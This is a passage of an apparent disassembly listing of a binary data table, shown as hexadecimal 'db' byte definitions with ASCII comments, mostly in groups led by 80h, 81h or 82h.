80h ; db 8 ; db 5 ; db 2 ; db 80h ; db 8 ; db 4Ah ; J db 2 ; db 80h ; db 8 ; db 4Ch ; L db 2 ; db 80h ; db 52h ; R db 0E0h ; db 65h ; e db 80h ; db 52h ; R db 0E0h ; db 66h ; f db 80h ; db 53h ; S db 8Bh ; db 9 ; db 80h ; db 53h ; S db 0B9h ; db 27h ; ' db 80h ; db 53h ; S db 0B9h ; db 2Ch ; , db 80h ; db 54h ; T db 9Ah ; db 0Ah ; db 80h ; db 56h ; V db 1 ; db 14h ; db 80h ; db 56h ; V db 8 ; db 19h ; db 80h ; db 9 ; db 80h ; db 7Fh ;  db 80h ; db 9 ; db 0A0h ; db 59h ; Y db 80h ; db 9 ; db 0B0h ; db 20h ; db 80h ; db 5Bh ; [ db 0FEh ; db 1 ; db 80h ; db 5Bh ; [ db 0FEh ; db 4 ; db 80h ; db 60h ; ` db 14h ; db 1Fh ; db 80h ; db 60h ; ` db 14h ; db 29h ; ) db 80h ; db 62h ; b db 1 ; db 1 ; db 80h ; db 63h ; c db 0 ; db 1 ; db 80h ; db 63h ; c db 0 ; db 1Eh ; db 81h ; db 1 ; db 2 ; db 2 ; db 81h ; db 1 ; db 2 ; db 3 ; db 81h ; db 1 ; db 19h ; db 2 ; db 81h ; db 1 ; db 40h ; @ db 2 ; db 81h ; db 0Ah ; db 1 ; db 0Dh ; db 81h ; db 64h ; d db 0Ah ; db 0FCh ; db 81h ; db 64h ; d db 2 ; db 0Ch ; db 81h ; db 64h ; d db 2 ; db 33h ; 3 db 81h ; db 65h ; e db 77h ; w db 0DCh ; db 81h ; db 65h ; e db 77h ; w db 0DFh ; db 81h ; db 65h ; e db 5Fh ; _ db 0Ah ; db 81h ; db 66h ; f db 1 ; db 6 ; db 81h ; db 66h ; f db 1 ; db 8 ; db 81h ; db 68h ; h db 1Eh ; db 29h ; ) db 81h ; db 68h ; h db 20h ; db 29h ; ) db 81h ; db 69h ; i db 31h ; 1 db 1 ; db 81h ; db 6Bh ; k db 1 ; db 2 ; db 81h ; db 6Bh ; k db 1 ; db 9 ; db 81h ; db 6Ch ; l db 0CAh ; db 14h ; db 81h ; db 6Ch ; l db 0CAh ; db 23h ; # db 81h ; db 6Dh ; m db 1 ; db 0CFh ; db 81h ; db 0Bh ; db 80h ; db 77h ; w db 81h ; db 0Bh ; db 9Fh ; db 72h ; r db 81h ; db 0Bh ; db 9Fh ; db 7Ah ; z db 81h ; db 6Eh ; n db 0Ah ; db 1 ; db 81h ; db 6Eh ; n db 1Fh ; db 7 ; db 81h ; db 6Fh ; o db 1Ah ; db 6 ; db 81h ; db 6Fh ; o db 1Ah ; db 7 ; db 81h ; db 71h ; q db 1 ; db 2 ; db 81h ; db 74h ; t db 0CEh ; db 14h ; db 81h ; db 76h ; v db 1 ; db 1 ; db 81h ; db 77h ; w db 3 ; db 2 ; db 81h ; db 77h ; w db 40h ; @ db 0Ah ; db 81h ; db 0Ch ; db 15h ; db 8 ; db 81h ; db 78h ; x db 0D2h ; db 0FCh ; db 81h ; db 78h ; x db 0D2h ; db 0FDh ; db 81h ; db 78h ; x db 0D2h ; db 0FEh ; db 81h ; db 79h ; y db 0FEh ; db 1 ; db 81h ; db 7Bh ; { db 1 ; db 2 ; db 81h ; db 7Bh ; { db 1 ; db 7 ; db 81h ; db 7Bh ; { db 1 ; db 9 ; db 81h ; db 7Ch ; | db 96h ; db 0Ah ; db 81h ; db 7Dh ; } db 4 ; db 0Dh ; db 81h ; db 7Dh ; } db 4 ; db 6 ; db 81h ; db 7Fh ;  db 1Ch ; db 4 ; db 81h ; db 7Fh ;  db 28h ; ( db 3 ; db 81h ; db 80h ; db 4 ; db 0F1h ; db 81h ; db 80h ; db 5 ; db 0E9h ; db 81h ; db 80h ; db 4Ch ; L db 0E9h ; db 81h ; db 81h ; db 64h ; d db 1 ; db 81h ; db 81h ; db 6Eh ; n db 0Ah ; db 81h ; db 0Dh ; db 0Ah ; db 5Ah ; Z db 81h ; db 0Dh ; db 40h ; @ db 5 ; db 81h ; db 82h ; db 0Ch ; db 18h ; db 81h ; db 84h ; db 0FAh ; db 0DCh ; db 81h ; db 84h ; db 62h ; b db 0Ch ; db 81h ; db 85h ; db 1 ; db 32h ; 2 db 81h ; db 85h ; db 1 ; db 33h ; 3 db 81h ; db 8Ah ; db 0FAh ; db 0Ah ; db 81h ; db 8Ah ; db 4 ; db 0D8h ; db 81h ; db 8Dh ; db 0C8h ; db 0Ah ; db 81h ; db 8Dh ; db 0C8h ; db 0Fh ; db 81h ; db 8Dh ; db 0C8h ; db 10h ; db 81h ; db 8Eh ; db 6 ; db 40h ; @ db 81h ; db 8Eh ; db 6 ; db 41h ; A db 81h ; db 8Eh ; db 7 ; db 63h ; c db 81h ; db 8Fh ; db 2 ; db 1 ; db 81h ; db 0Fh ; db 1 ; db 0Ah ; db 81h ; db 0Fh ; db 1 ; db 9 ; db 81h ; db 10h ; db 1 ; db 1 ; db 81h ; db 10h ; db 1 ; db 3 ; db 81h ; db 0A2h ; db 0ACh ; db 2 ; db 81h ; db 0A4h ; db 1Eh ; db 15h ; db 81h ; db 0A9h ; db 8 ; db 9 ; db 81h ; db 0AAh ; db 10h ; db 4 ; db 81h ; db 0AAh ; db 11h ; db 4 ; db 81h ; db 0ABh ; db 61h ; a db 1 ; db 81h ; db 0ADh ; db 1 ; db 0Ah ; db 81h ; db 0ADh ; db 1 ; db 0Bh ; db 81h ; db 0AEh ; db 1 ; db 8 ; db 81h ; db 0AFh ; db 0Fh ; db 1 ; db 81h ; db 0AFh ; db 0Fh ; db 4 ; db 81h ; db 0B0h ; db 64h ; d db 5 ; db 81h ; db 0B0h ; db 0C7h ; db 5 ; db 81h ; db 0B1h ; db 0Ch ; db 1Fh ; db 81h ; db 0B1h ; db 10h ; db 3 ; db 81h ; db 0B1h ; db 1Eh ; db 3 ; db 81h ; db 0B2h ; db 58h ; X db 41h ; A db 81h ; db 0B4h ; db 1 ; db 11h ; db 81h ; db 0B4h ; db 1 ; db 4 ; db 81h ; db 0B4h ; db 4 ; db 7 ; db 81h ; db 0B5h ; db 71h ; q db 1 ; db 81h ; db 0B5h ; db 0Ch ; db 3 ; db 81h ; db 0B5h ; db 78h ; x db 0FEh ; db 81h ; db 0B5h ; db 80h ; db 3 ; db 81h ; db 0B5h ; db 80h ; db 4 ; db 81h ; db 0B5h ; db 10h ; db 0A2h ; db 81h ; db 0B5h ; db 10h ; db 58h ; X db 81h ; db 0B5h ; db 0A5h ; db 1 ; db 81h ; db 0B5h ; db 0B2h ; db 1 ; db 81h ; db 0B5h ; db 0B6h ; db 1 ; db 81h ; db 0B5h ; db 0B8h ; db 0Ch ; db 81h ; db 0BAh ; db 1 ; db 0C8h ; db 81h ; db 0BAh ; db 8Ch ; db 0C8h ; db 81h ; db 0BAh ; db 8Eh ; db 0C8h ; db 81h ; db 0BBh ; db 0Ah ; db 19h ; db 81h ; db 0BBh ; db 10h ; db 1 ; db 81h ; db 0BCh ; db 88h ; db 64h ; d db 81h ; db 0BCh ; db 88h ; db 65h ; e db 81h ; db 13h ; db 60h ; ` db 4 ; db 81h ; db 0BFh ; db 1 ; db 1 ; db 81h ; db 0C0h ; db 40h ; @ db 19h ; db 81h ; db 0C1h ; db 4 ; db 1 ; db 81h ; db 0C2h ; db 4 ; db 20h ; db 81h ; db 0C2h ; db 4 ; db 6 ; db 81h ; db 0C2h ; db 8 ; db 7 ; db 81h ; db 0C3h ; db 0FEh ; db 3Ch ; < db 81h ; db 0C3h ; db 0FEh ; db 3Dh ; = db 81h ; db 0C4h ; db 0E1h ; db 14h ; db 81h ; db 0C4h ; db 0E1h ; db 15h ; db 81h ; db 0C6h ; db 0F1h ; db 29h ; ) db 81h ; db 0C7h ; db 60h ; ` db 0Bh ; db 81h ; db 14h ; db 80h ; db 31h ; 1 db 81h ; db 14h ; db 0FEh ; db 1 ; db 81h ; db 0CBh ; db 0FEh ; db 41h ; A db 81h ; db 0CEh ; db 64h ; d db 7Eh ; ~ db 81h ; db 0CEh ; db 64h ; d db 7Fh ;  db 81h ; db 0CFh ; db 64h ; d db 3 ; db 81h ; db 15h ; db 15h ; db 1 ; db 81h ; db 15h ; db 0EFh ; db 1Eh ; db 81h ; db 15h ; db 3 ; db 11h ; db 81h ; db 15h ; db 1Eh ; db 1 ; db 81h ; db 15h ; db 21h ; ! db 3 ; db 81h ; db 15h ; db 4 ; db 12h ; db 81h ; db 15h ; db 37h ; 7 db 1 ; db 81h ; db 15h ; db 39h ; 9 db 1 ; db 81h ; db 15h ; db 39h ; 9 db 81h ; db 81h ; db 15h ; db 3Ah ; : db 1 ; db 81h ; db 15h ; db 3Ch ; < db 8 ; db 81h ; db 15h ; db 3Ch ; < db 9 ; db 81h ; db 15h ; db 5Eh ; ^ db 81h ; db 81h ; db 0D2h ; db 0Ch ; db 0F5h ; db 81h ; db 0D2h ; db 8 ; db 1 ; db 81h ; db 0D4h ; db 0Bh ; db 1 ; db 81h ; db 0D5h ; db 80h ; db 2 ; db 81h ; db 0D5h ; db 80h ; db 62h ; b db 81h ; db 0D7h ; db 0A0h ; db 0F0h ; db 81h ; db 0D7h ; db 0A6h ; db 0Dh ; db 81h ; db 0D7h ; db 0A8h ; db 21h ; ! db 81h ; db 0D7h ; db 2Ah ; * db 0F0h ; db 81h ; db 0D7h ; db 46h ; F db 0EFh ; db 81h ; db 0D9h ; db 83h ; db 3 ; db 81h ; db 0D9h ; db 4 ; db 2Ah ; * db 81h ; db 0DBh ; db 0Dh ; db 51h ; Q db 81h ; db 0DBh ; db 11h ; db 0C8h ; db 81h ; db 0DBh ; db 11h ; db 5 ; db 81h ; db 16h ; db 4 ; db 1 ; db 81h ; db 16h ; db 4 ; db 3 ; db 81h ; db 0E4h ; db 0DDh ; db 0DDh ; db 81h ; db 0E9h ; db 11h ; db 1Bh ; db 81h ; db 0E9h ; db 11h ; db 2Fh ; / db 81h ; db 0EAh ; db 4 ; db 0Bh ; db 81h ; db 0EAh ; db 4 ; db 16h ; db 81h ; db 0EAh ; db 4 ; db 9 ; db 81h ; db 0EBh ; db 46h ; F db 15h ; db 81h ; db 0ECh ; db 0Ah ; db 14h ; db 81h ; db 0ECh ; db 0Ah ; db 1Eh ; db 81h ; db 0EDh ; db 20h ; db 1 ; db 81h ; db 0EDh ; db 20h ; db 2 ; db 81h ; db 0EFh ; db 1Ah ; db 0Ah ; db 81h ; db 18h ; db 8 ; db 1 ; db 81h ; db 18h ; db 8 ; db 4 ; db 81h ; db 0F0h ; db 2 ; db 3 ; db 81h ; db 0F0h ; db 2 ; db 28h ; ( db 81h ; db 0F0h ; db 40h ; @ db 2 ; db 81h ; db 0F1h ; db 1 ; db 5 ; db 81h ; db 0F1h ; db 1 ; db 60h ; ` db 81h ; db 0F1h ; db 1 ; db 63h ; c db 81h ; db 0F1h ; db 0Ah ; db 18h ; db 81h ; db 0F1h ; db 67h ; g db 5 ; db 81h ; db 0F1h ; db 6Ch ; l db 0Bh ; db 81h ; db 0F1h ; db 6Eh ; n db 0Ch ; db 81h ; db 0F1h ; db 8Ch ; db 0Ah ; db 81h ; db 0F1h ; db 0Fh ; db 0FAh ; db 81h ; db 0F1h ; db 9Bh ; db 0Bh ; db 81h ; db 0F1h ; db 10h ; db 0Ah ; db 81h ; db 0F1h ; db 0BEh ; db 0BEh ; db 81h ; db 0F1h ; db 0C0h ; db 0Ah ; db 81h ; db 0F1h ; db 0C8h ; db 3 ; db 81h ; db 0F1h ; db 0D2h ; db 0D3h ; db 81h ; db 0F1h ; db 16h ; db 16h ; db 81h ; db 0F1h ; db 1Bh ; db 15h ; db 81h ; db 0F1h ; db 2Ah ; * db 2 ; db 81h ; db 0F1h ; db 6 ; db 64h ; d db 81h ; db 0F1h ; db 6 ; db 6Bh ; k db 81h ; db 0F1h ; db 40h ; @ db 4 ; db 81h ; db 0F1h ; db 7 ; db 7 ; db 81h ; db 0F1h ; db 52h ; R db 28h ; ( db 81h ; db 0F1h ; db 5Dh ; ] db 11h ; db 81h ; db 0F2h ; db 4 ; db 0FEh ; db 81h ; db 0F2h ; db 5 ; db 0FEh ; db 81h ; db 0F4h ; db 29h ; ) db 20h ; db 81h ; db 0F6h ; db 65h ; e db 0Bh ; db 81h ; db 0F7h ; db 0A0h ; db 1 ; db 81h ; db 0F7h ; db 40h ; @ db 1 ; db 81h ; db 0F7h ; db 60h ; ` db 1 ; db 81h ; db 0FAh ; db 7Ch ; | db 0Ah ; db 81h ; db 0FAh ; db 0Fh ; db 3Dh ; = db 81h ; db 0FAh ; db 0FCh ; db 0Ah ; db 81h ; db 0FAh ; db 1Fh ; db 0BEh ; db 81h ; db 0FAh ; db 23h ; # db 20h ; db 81h ; db 0FAh ; db 23h ; # db 21h ; ! db 81h ; db 0FAh ; db 23h ; # db 22h ; " db 81h ; db 0FCh ; db 29h ; ) db 0Bh ; db 81h ; db 0FCh ; db 2Ah ; * db 19h ; db 81h ; db 0FDh ; db 0AAh ; db 1 ; db 81h ; db 0FDh ; db 0AAh ; db 2 ; db 81h ; db 0FEh ; db 7Eh ; ~ db 0Dh ; db 81h ; db 1Ah ; db 8 ; db 52h ; R db 81h ; db 3 ; db 1 ; db 1 ; db 81h ; db 3 ; db 1 ; db 64h ; d db 81h ; db 3 ; db 1 ; db 24h ; $ db 81h ; db 1Eh ; db 3 ; db 0Ah ; db 81h ; db 1Eh ; db 3 ; db 10h ; db 81h ; db 4 ; db 1 ; db 1 ; db 81h ; db 4 ; db 2 ; db 1 ; db 81h ; db 29h ; ) db 0 ; db 4 ; db 81h ; db 29h ; ) db 0 ; db 5 ; db 81h ; db 29h ; ) db 80h ; db 4 ; db 81h ; db 29h ; ) db 80h ; db 5 ; db 81h ; db 29h ; ) db 0F0h ; db 4 ; db 81h ; db 29h ; ) db 0F0h ; db 5 ; db 81h ; db 29h ; ) db 20h ; db 4 ; db 81h ; db 29h ; ) db 20h ; db 5 ; db 81h ; db 29h ; ) db 2Ah ; * db 14h ; db 81h ; db 29h ; ) db 2Ah ; * db 15h ; db 81h ; db 29h ; ) db 30h ; 0 db 4 ; db 81h ; db 29h ; ) db 30h ; 0 db 5 ; db 81h ; db 29h ; ) db 36h ; 6 db 4 ; db 81h ; db 29h ; ) db 36h ; 6 db 5 ; db 81h ; db 29h ; ) db 3Ch ; < db 2 ; db 81h ; db 29h ; ) db 3Fh ; ? db 0C8h ; db 81h ; db 29h ; ) db 3Fh ; ? db 0C9h ; db 81h ; db 29h ; ) db 50h ; P db 4 ; db 81h ; db 29h ; ) db 50h ; P db 5 ; db 81h ; db 2Ah ; * db 2 ; db 5 ; db 81h ; db 2Ah ; * db 4 ; db 85h ; db 81h ; db 2Ah ; * db 6 ; db 6 ; db 81h ; db 2Bh ; + db 1 ; db 0Bh ; db 81h ; db 30h ; 0 db 68h ; h db 0D6h ; db 81h ; db 31h ; 1 db 7 ; db 0FAh ; db 81h ; db 31h ; 1 db 7 ; db 3 ; db 81h ; db 5 ; db 10h ; db 0E6h ; db 81h ; db 5 ; db 10h ; db 0E8h ; db 81h ; db 33h ; 3 db 5 ; db 0A0h ; db 81h ; db 33h ; 3 db 5 ; db 0A1h ; db 81h ; db 35h ; 5 db 0DBh ; db 1 ; db 81h ; db 35h ; 5 db 0DBh ; db 65h ; e db 81h ; db 37h ; 7 db 0Ch ; db 3 ; db 81h ; db 37h ; 7 db 18h ; db 3 ; db 81h ; db 3Bh ; ; db 1 ; db 0Ah ; db 81h ; db 3Bh ; ; db 2 ; db 0Ah ; db 81h ; db 6 ; db 0Dh ; db 2 ; db 81h ; db 3Ch ; < db 27h ; ' db 66h ; f db 81h ; db 3Ch ; < db 27h ; ' db 67h ; g db 81h ; db 3Dh ; = db 92h ; db 17h ; db 81h ; db 3Dh ; = db 92h ; db 3 ; db 81h ; db 3Eh ; > db 1 ; db 2 ; db 81h ; db 3Eh ; > db 10h ; db 4 ; db 81h ; db 3Fh ; ? db 1 ; db 1 ; db 81h ; db 40h ; @ db 63h ; c db 0Bh ; db 81h ; db 40h ; @ db 63h ; c db 0Ch ; db 81h ; db 41h ; A db 10h ; db 0FEh ; db 81h ; db 41h ; A db 15h ; db 0FEh ; db 81h ; db 42h ; B db 0ACh ; db 9 ; db 81h ; db 42h ; B db 14h ; db 4 ; db 81h ; db 42h ; B db 4Ch ; L db 4 ; db 81h ; db 42h ; B db 5Fh ; _ db 3 ; db 81h ; db 43h ; C db 1 ; db 1 ; db 81h ; db 43h ; C db 1 ; db 0B4h ; db 81h ; db 44h ; D db 71h ; q db 1 ; db 81h ; db 44h ; D db 71h ; q db 2 ; db 81h ; db 45h ; E db 1 ; db 1Ch ; db 81h ; db 7 ; db 1 ; db 1 ; db 81h ; db 7 ; db 1 ; db 14h ; db 81h ; db 46h ; F db 84h ; db 64h ; d db 81h ; db 46h ; F db 4 ; db 37h ; 7 db 81h ; db 46h ; F db 5 ; db 10h ; db 81h ; db 47h ; G db 1 ; db 1 ; db 81h ; db 47h ; G db 2 ; db 1 ; db 81h ; db 48h ; H db 3Ch ; < db 8 ; db 81h ; db 49h ; I db 1 ; db 0Fh ; db 81h ; db 4Ah ; J db 0FAh ; db 64h ; d db 81h ; db 4Dh ; M db 1 ; db 1 ; db 81h ; db 4Eh ; N db 97h ; db 1 ; db 81h ; db 4Eh ; N db 24h ; $ db 1 ; db 81h ; db 4Eh ; N db 40h ; @ db 1 ; db 81h ; db 4Eh ; N db 40h ; @ db 2 ; db 81h ; db 4Fh ; O db 1 ; db 1 ; db 81h ; db 4Fh ; O db 0FEh ; db 0BFh ; db 81h ; db 4Fh ; O db 5 ; db 64h ; d db 81h ; db 8 ; db 32h ; 2 db 69h ; i db 81h ; db 8 ; db 34h ; 4 db 2 ; db 81h ; db 50h ; P db 16h ; db 87h ; db 81h ; db 51h ; Q db 84h ; db 1 ; db 81h ; db 51h ; Q db 84h ; db 3 ; db 81h ; db 51h ; Q db 10h ; db 15h ; db 81h ; db 51h ; Q db 0E0h ; db 32h ; 2 db 81h ; db 52h ; R db 64h ; d db 40h ; @ db 81h ; db 55h ; U db 1 ; db 15h ; db 81h ; db 58h ; X db 1Eh ; db 1 ; db 81h ; db 58h ; X db 20h ; db 18h ; db 81h ; db 59h ; Y db 0A9h ; db 3 ; db 81h ; db 59h ; Y db 2 ; db 0Eh ; db 81h ; db 59h ; Y db 6 ; db 2 ; db 81h ; db 59h ; Y db 7 ; db 0Eh ; db 81h ; db 59h ; Y db 7 ; db 2 ; db 81h ; db 5Ch ; \ db 0FCh ; db 0FEh ; db 81h ; db 5Ch ; \ db 0FDh ; db 0F8h ; db 81h ; db 5Dh ; ] db 1 ; db 1 ; db 81h ; db 5Fh ; _ db 14h ; db 6Dh ; m db 81h ; db 5Fh ; _ db 14h ; db 2 ; db 81h ; db 5Fh ; _ db 14h ; db 0FCh ; db 81h ; db 60h ; ` db 1 ; db 15h ; db 81h ; db 60h ; ` db 0FCh ; db 1Fh ; db 81h ; db 61h ; a db 80h ; db 0Ah ; db 81h ; db 61h ; a db 80h ; db 64h ; d db 81h ; db 62h ; b db 1 ; db 4 ; db 81h ; db 62h ; b db 1 ; db 6 ; db 81h ; db 62h ; b db 0C9h ; db 1Ah ; db 0Dh ; db 1 ; db 40h ; @ db 5Eh ; ^ db 82h ; db 65h ; e db 0Ah ; db 1 ; db 82h ; db 65h ; e db 93h ; db 0FBh ; db 82h ; db 65h ; e db 4 ; db 0FDh ; db 82h ; db 65h ; e db 5 ; db 4 ; db 82h ; db 65h ; e db 8 ; db 8 ; db 82h ; db 65h ; e db 58h ; X db 0FAh ; db 82h ; db 65h ; e db 9 ; db 2 ; db 82h ; db 66h ; f db 80h ; db 2Bh ; + db 82h ; db 66h ; f db 80h ; db 35h ; 5 db 82h ; db 66h ; f db 0B0h ; db 0Ch ; db 82h ; db 66h ; f db 0B0h ; db 1Bh ; db 82h ; db 66h ; f db 2 ; db 0Fh ; db 82h ; db 66h ; f db 2 ; db 35h ; 5 db 82h ; db 68h ; h db 1 ; db 1 ; db 82h ; db 68h ; h db 1 ; db 2 ; db 82h ; db 68h ; h db 0FEh ; db 1 ; db 82h ; db 6Bh ; k db 1 ; db 14h ; db 82h ; db 6Bh ; k db 1 ; db 0E6h ; db 82h ; db 6Ch ; l db 80h ; db 0C8h ; db 82h ; db 6Ch ; l db 2 ; db 0Ah ; db 82h ; db 0Bh ; db 30h ; 0 db 2 ; db 82h ; db 6Eh ; n db 1 ; db 5 ; db 82h ; db 6Fh ; o db 82h ; db 7 ; db 82h ; db 6Fh ; o db 20h ; db 0Bh ; db 82h ; db 6Fh ; o db 20h ; db 7 ; db 82h ; db 70h ; p db 1 ; db 2 ; db 82h ; db 70h ; p db 1 ; db 54h ; T db 82h ; db 71h ; q db 80h ; db 1 ; db 82h ; db 71h ; q db 40h ; @ db 1 ; db 82h ; db 72h ; r db 0C8h ; db 6 ; db 82h ; db 73h ; s db 1 ; db 1 ; db 82h ; db 73h ; s db 0Fh ; db 2 ; db 82h ; db 74h ; t db 2 ; db 8 ; db 82h ; db 76h ; v db 4 ; db 2 ; db 82h ; db 7Dh ; } db 1 ; db 0Ah ; db 82h ; db 7Fh ;  db 0C8h ; db 5 ; db 82h ; db 7Fh ;  db 1Ch ; db 20h ; db 82h ; db 0Dh ; db 10h ; db 6 ; db 82h ; db 82h ; db 40h ; @ db 1 ; db 82h ; db 82h ; db 44h ; D db 1 ; db 82h ; db 83h ; db 30h ; 0 db 0Bh ; db 82h ; db 84h ; db 1 ; db 0Ah ; db 82h ; db 84h ; db 1 ; db 0Bh ; db 82h ; db 84h ; db 1 ; db 9 ; db 82h ; db 85h ; db 1 ; db 39h ; 9 db 82h ; db 86h ; db 50h ; P db 0Ah ; db 82h ; db 87h ; db 6Eh ; n db 7 ; db 82h ; db 87h ; db 6Eh ; n db 9 ; db 82h ; db 88h ; db 1 ; db 6Eh ; n db 82h ; db 89h ; db 40h ; @ db 2 ; db 82h ; db 0Eh ; db 19h ; db 2 ; db 82h ; db 0Eh ; db 23h ; # db 80h ; db 82h ; db 95h ; db 11h ; db 5 ; db 82h ; db 95h ; db 2 ; db 0Ch ; db 82h ; db 95h ; db 4 ; db 14h ; db 82h ; db 0Fh ; db 7Eh ; ~ db 36h ; 6 db 82h ; db 0Fh ; db 7Eh ; ~ db 7 ; db 82h ; db 96h ; db 66h ; f db 64h ; d db 82h ; db 96h ; db 66h ; f db 14h ; db 82h ; db 99h ; db 8Dh ; db 0Bh ; db 82h ; db 99h ; db 8 ; db 3Ch ; < db 82h ; db 9Bh ; db 10h ; db 1 ; db 82h ; db 9Bh ; db 0C0h ; db 28h ; ( db 82h ; db 9Bh ; db 0C2h ; db 20h ; db 82h ; db 9Bh ; db 2 ; db 8 ; db 82h ; db 9Dh ; db 2 ; db 3 ; db 82h ; db 9Dh ; db 2 ; db 5 ; db 82h ; db 9Eh ; db 44h ; D db 15h ; db 82h ; db 9Eh ; db 47h ; G db 36h ; 6 db 82h ; db 9Fh ; db 0C4h ; db 7Eh ; ~ db 82h ; db 9Fh ; db 0F8h ; db 0Bh ; db 82h ; db 9Fh ; db 0F8h ; db 1Ah ; db 82h ; db 9Fh ; db 0F8h ; db 9 ; db 82h ; db 0A0h ; db 4 ; db 72h ; r db 82h ; db 0A0h ; db 4 ; db 4 ; db 82h ; db 0A1h ; db 8Fh ; db 0C8h ; db 82h ; db 0A1h ; db 94h ; db 18h ; db 82h ; db 0A1h ; db 10h ; db 0A7h ; db 82h ; db 0A1h ; db 0A0h ; db 3 ; db 82h ; db 0A1h ; db 0A4h ; db 0CEh ; db 82h ; db 0A1h ; db 0B4h ; db 1 ; db 82h ; db 0A1h ; db 0B4h ; db 41h ; A db 82h ; db 0A1h ; db 0BCh ; db 8Ch ; db 82h ; db 0A1h ; db 0BDh ; db 1 ; db 82h ; db 0A1h ; db 0C4h ; db 0C5h ; db 82h ; db 0A1h ; db 0CCh ; db 1 ; db 82h ; db 0A1h ; db 0D8h ; db 7 ; db 82h ; db 0A1h ; db 0E4h ; db 0Ch ; db 82h ; db 0A1h ; db 0E5h ; db 2 ; db 82h ; db 0A1h ; db 0E8h ; db 80h ; db 82h ; db 0A1h ; db 0F2h ; db 46h ; F db 82h ; db 0A1h ; db 0FDh ; db 1 ; db 82h ; db 0A1h ; db 1Ch ; db 15h ; db 82h ; db 0A1h ; db 21h ; ! db 11h ; db 82h ; db 0A1h ; db 22h ; " db 0FAh ; db 82h ; db 0A1h ; db 25h ; % db 18h ; db 82h ; db 0A2h ; db 0A0h ; db 96h ; db 82h ; db 0A2h ; db 0A0h ; db 97h ; db 82h ; db 0A3h ; db 1 ; db 2 ; db 82h ; db 0A3h ; db 1 ; db 0C8h ; db 82h ; db 0A4h ; db 8Ch ; db 0Ch ; db 82h ; db 0A4h ; db 8Ch ; db 0Fh ; db 82h ; db 0A6h ; db 1 ; db 1 ; db 82h ; db 0A6h ; db 1 ; db 46h ; F db 82h ; db 0A7h ; db 1 ; db 65h ; e db 82h ; db 0A7h ; db 1 ; db 2 ; db 82h ; db 0A7h ; db 65h ; e db 1 ; db 82h ; db 11h ; db 1 ; db 4 ; db 82h ; db 11h ; db 1 ; db 32h ; 2 db 82h ; db 0B3h ; db 10h ; db 8Fh ; db 82h ; db 0B3h ; db 10h ; db 43h ; C db 82h ; db 12h ; db 50h ; P db 0Ch ; db 82h ; db 12h ; db 50h ; P db 0Dh ; db 82h ; db 0B5h ; db 0Ch ; db 66h ; f db 82h ; db 0B5h ; db 0Ch ; db 95h ; db 82h ; db 0B6h ; db 79h ; y db 1 ; db 82h ; db 0B6h ; db 0ABh ; db 1 ; db 82h ; db 0B7h ; db 1 ; db 15h ; db 82h ; db 0B7h ; db 9 ; db 20h ; db 82h ; db 0B8h ; db 7 ; db 67h ; g db 82h ; db 0B8h ; db 7 ; db 5Dh ; ] db 82h ; db 0B9h ; db 59h ; Y db 7Dh ; } db 82h ; db 0BAh ; db 1 ; db 1 ; db 82h ; db 0BAh ; db 1 ; db 35h ; 5 db 82h ; db 0BBh ; db 1 ; db 1 ; db 82h ; db 0BCh ; db 4 ; db 3 ; db 82h ; db 0BCh ; db 4 ; db 4 ; db 82h ; db 0BDh ; db 0F0h ; db 64h ; d db 82h ; db 0BFh ; db 1 ; db 1 ; db 82h ; db 0BFh ; db 0E5h ; db 0Eh ; db 82h ; db 0C0h ; db 3 ; db 15h ; db 82h ; db 0C0h ; db 3 ; db 18h ; db 82h ; db 0C0h ; db 3Ch ; < db 0Ch ; db 82h ; db 0C2h ; db 1 ; db 63h ; c db 82h ; db 0C2h ; db 7 ; db 63h ; c db 82h ; db 0C3h ; db 2 ; db 0Bh ; db 82h ; db 0C3h ; db 2 ; db 0F9h ; db 82h ; db 0C3h ; db 5 ; db 0Ch ; db 82h ; db 0C3h ; db 6 ; db 0Ah ; db 82h ; db 0C7h ; db 3 ; db 8 ; db 82h ; db 0C7h ; db 4 ; db 6 ; db 82h ; db 14h ; db 80h ; db 22h ; " db 82h ; db 14h ; db 14h ; db 24h ; $ db 82h ; db 14h ; db 40h ; @ db 24h ; $ db 82h ; db 14h ; db 54h ; T db 0Bh ; db 82h ; db 14h ; db 54h ; T db 24h ; $ db 82h ; db 0CAh ; db 14h ; db 3 ; db 82h ; db 0CAh ; db 14h ; db 5 ; db 82h ; db 0CBh ; db 1 ; db 4 ; db 82h ; db 0CBh ; db 1 ; db 5 ; db 82h ; db 0CBh ; db 10h ; db 6 ; db 82h ; db 0CDh ; db 46h ; F db 0Ah ; db 82h ; db 0CEh ; db 1 ; db 2 ; db 82h ; db 0CEh ; db 1 ; db 3 ; db 82h ; db 0CFh ; db 0F4h ; db 0F4h ; db 82h ; db 0CFh ; db 0F4h ; db 0FBh ; db 82h ; db 0D1h ; db 4 ; db 10h ; db 82h ; db 0D1h ; db 4 ; db 12h ; db 82h ; db 0D2h ; db 2 ; db 0Ah ; db 82h ; db 0D4h ; db 0Ah ; db 0A2h ; db 82h ; db 0D4h ; db 0Ah ; db 0A3h ; db 82h ; db 0D7h ; db 18h ; db 1 ; db 82h ; db 0D8h ; db 1 ; db 1 ; db 82h ; db 0D8h ; db 1 ; db 4 ; db 82h ; db 0D9h ; db 40h ; @ db 0Ch ; db 82h ; db 0DAh ; db 64h ; d db 5 ; db 82h ; db 0DBh ; db 22h ; " db 64h ; d db 82h ; db 16h ; db 1Eh ; db 0FDh ; db 82h ; db 0DCh ; db 1Eh ; db 20h ; db 82h ; db 0DDh ; db 10h ; db 2 ; db 82h ; db 0DDh ; db 10h ; db 4 ; db 82h ; db 0DFh ; db 4 ; db 5 ; db 82h ; db 0DFh ; db 8 ; db 14h ; db 82h ; db 0E1h ; db 60h ; ` db 3 ; db 82h ; db 0E2h ; db 1 ; db 4 ; db 82h ; db 0E3h ; db 0C7h ; db 1 ; db 82h ; db 0E6h ; db 18h ; db 0Ah ; db 82h ; db 0E7h ; db 0F0h ; db 1 ; db 82h ; db 0E8h ; db 1 ; db 1 ; db 82h ; db 0E8h ; db 1 ; db 16h ; db 82h ; db 0E9h ; db 0E0h ; db 1 ; db 82h ; db 0E9h ; db 0E0h ; db 0Dh ; db 82h ; db 0EAh ; db 1 ; db 1 ; db 82h ; db 0EBh ; db 80h ; db 64h ; d db 82h ; db 0EBh ; db 84h ; db 5Ah ; Z db 82h ; db 0EBh ; db 14h ; db 3 ; db 82h ; db 0ECh ; db 1 ; db 9 ; db 82h ; db 0ECh ; db 30h ; 0 db 2 ; db 82h ; db 0EDh ; db 48h ; H db 0C8h ; db 82h ; db 0EDh ; db 48h ; H db 0C9h ; db 82h ; db 0EEh ; db 0A4h ; db 6 ; db 82h ; db 0EEh ; db 4 ; db 85h ; db 